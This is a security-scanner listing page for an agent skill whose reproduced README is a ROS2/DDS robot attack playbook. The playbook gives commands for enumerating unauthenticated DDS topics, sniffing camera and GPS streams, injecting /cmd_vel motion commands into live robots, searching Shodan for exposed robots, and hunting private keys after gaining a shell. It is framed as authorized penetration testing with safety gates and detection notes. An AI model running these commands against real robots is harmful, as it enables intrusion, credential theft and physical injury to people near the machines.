Introducing The Sweep: OX’s New Live Security Research Series
Register Now
Breaking: The 2026 Vulnpocalypse Hits PHP: Four Critical RCEs, but How Dangerous Are They?
Read the Report
Are you exposed? Connect your apps in minutes.
Scan your apps free

ros2-dds-attack

Latest version: vgit:551c67e4b4f6412f151380cf6331e4b9484a8080

Overview

Last scanned
18 Nov 2026
Agent skill Publisher: BitterSecurity
6,638 Stars
1,273 Forks
1 Versions
Python Repo language

Scan summary

ros2-dds-attack was last scanned on 18 Nov 2026 at commit 551c67e4. Risk score 1 of 100 (low). No malicious behavior was detected.

  • Releases: Single version.
  • Findings: 1 rule fired in commit 551c67e4 (1 low). The score describes this commit only.

Versions

1 version published
Versions and the rules that fired in each
VersionPublishedStatus
551c67e4 1 rule fired

Rules fired in 551c67e4: 1

Findings

1 Low

Findings for commit 551c67e4. The score is a capped sum of the weights of the rules that fired — not CVSS, not exploitability, and not a probability. It is not comparable across packages with different scan coverage.

Skill mentions tunnel, paste or webhook services

The skill's text or scripts mention a tunneling service such as ngrok or trycloudflare, a Discord webhook, a raw paste link or a public IP address. Legitimate tools reference these too, so this is context for review rather than evidence of harm.

LOW
Checking access…

🔒 Create a free account to see all 1 finding with descriptions and instance counts

The score describes 551c67e4; other versions have their own rules, not their own score.

README

The publisher’s own README, as collected from the registry.

ROS2 / DDS Attack Playbook

Authorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm safety_critical_confirmed=true in the active OPPLAN before any publish/inject step.

Background

ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.

Phase 1 — Discovery

Network prerequisites

ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.

# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1

# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
  -e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
  -l 2>/dev/null | sort -u | head -40
ROS2 node and topic enumeration

If the attacker can install ros2 CLI tools (available in a Docker container on the attacker host — no robot-side access required):

# Pull a minimal ROS2 humble image
docker run --rm --net=host \
  ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"

Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:

# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds  # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time

dp = cyclonedds.domain.Domain(0)          # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
    print(t.name, t.type_name)
EOF
Shodan / Censys pivot (remote assessment)

Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):

shodan search 'port:7400 product:"RTPS"'

Phase 2 — Telemetry Interception

Subscribe to any topic without credentials:

docker run --rm --net=host ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && \
           ros2 topic echo /camera/image_raw --no-arr | head -50"

# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
  'udp and (port 7400 or port 7401 or portrange 7410-7500)'

Topics of particular interest on robotic platforms:

Topic pattern Content
/cmd_vel Velocity commands (Twist msg — direct actuator control)
/joint_states Motor encoder data
/camera/* Camera streams
/gps/fix or /NavSatFix GPS telemetry
/rosout System log (reveals software versions, errors)
/tf / /tf_static Coordinate transform tree (reveals robot geometry)
/diagnostics Hardware diagnostics

Phase 3 — Message Injection (GATED — write-scope only)

STOP. Confirm safety_critical_confirmed=true + operator signature at /workspace/safety-attestation.txt before executing any publish command. A single malformed /cmd_vel can drive a robot into a person or off a ledge.

# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
  bash -c "source /opt/ros/humble/setup.bash && \
           ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
           '{linear: {x: 0.0}, angular: {z: 0.0}}'"

# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
#   '{linear: {x: 0.1}, angular: {z: 0.0}}'
MiR (Mobile Industrial Robot) ROS1 variant

MiR robots run ROS1 (not ROS2). The attack surface is the same but uses rostopic / rosnode instead of ros2:

export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_vel geometry_msgs/Twist '{linear: {x: 0.0}}'

Phase 4 — Credential and Key Extraction

CAI's Unitree G1 research found:

  • RSA private keys stored at world-writable permissions (chmod 666)
  • Hardcoded AES keys in the BLE provisioning subsystem
  • MQTT topics backhauling to vendor cloud (43.175.228.18:17883) unencrypted

After gaining shell access (via BLE command injection or SSH with hardcoded credentials from firmware extraction):

# Find overpermissioned key material
find / -name "*.pem" -o -name "*.key" -o -name "id_rsa" 2>/dev/null | \
  xargs ls -la 2>/dev/null | grep -E 'rw.rw.rw|666|777'

# Extract MQTT backhaul targets from running processes
ss -tnp | grep -E ':1883|:8883|:17883'
strings /proc/$(pgrep -f mqtt)/exe 2>/dev/null | grep -E 'mqtt|broker|topic'

# Dump ROS2 security config (if SROS2 is configured — often misconfigured)
find / -name "*.xml" -path "*/security/*" 2>/dev/null
cat /ros2_ws/install/*/share/*/keystore/enclaves/**/*.pem 2>/dev/null

ATT&CK Mapping

Technique ID Notes
Network Sniffing T1040 Passive DDS/RTPS traffic capture
Man in the Middle T0830 DDS domain participant impersonation
Modify Control Logic T0856 /cmd_vel injection
Unauthorized Command Message T0855 ROS topic publish without auth
Network DoS T1499 Flood /cmd_vel to cause E-stop
Hardcoded Credentials T1552.001 Keys in world-writable files

Detection

  • Unexpected DDS participant GUIDs on the robot's network segment.
  • /cmd_vel publish from a source other than the authorized control node.
  • Outbound MQTT connections to non-allowlisted broker IPs.
  • ros2 topic list queries from an IP outside the robot's operational subnet.

Sigma rule target: process auditing on the robot's companion computer for ros2 topic pub invocations with unexpected source IPs in the RTPS participant announcements.

References

  • aliasrobotics/cai Unitree G1 case study (2025) — BLE injection + ROS2 topic enumeration
  • aliasrobotics/cai MiR case study — ROS1 message injection
  • ROS2 Security Working Group: design.ros2.org/articles/ros2_dds_security.html
  • SROS2 hardening: docs.ros.org/en/rolling/Tutorials/Advanced/Security

OX Radar and Response Center

Find threats in your stack.

OX Radar can check high-priority threats, like critical package CVEs, against your context.

Each incident is marked Detected or Not Detected with a remediation plan and proof all tracked in the Response Center.

Where it’s listed

The probe returned only these fields for this server — auth requirement, protocol and tool list weren’t observed, so they’re not shown (never guessed).

  • GitHub BitterSecurity/Decepticon/ros2-dds-attack

References

The publisher’s own links, as the registry reports them. These are not sources for the assessment on this page.

Scan your whole stack

Group 1261154050 1
Group 1261154050
 

From OX Research Newsroom

CVE

Java4Shell (CVE-2026-114938): Easy to Crash, Hard to Exploit — Less Than 0.12% of JVMs Estimated at Risk of RCE

PHP2Shell, Day 5 93.6% of Measurable Instances Still Unpatched (1)
Vulnerability Insights

PHP2Shell, Day 5: The Panic Hasn’t Turned Into Patching

Vulnerability Insights

OpenSSH Password Authentication Bypass on Alpine Linux (*sshole) – CVE-2026-123158

Frame 2085668439 (1)
Group 1261154229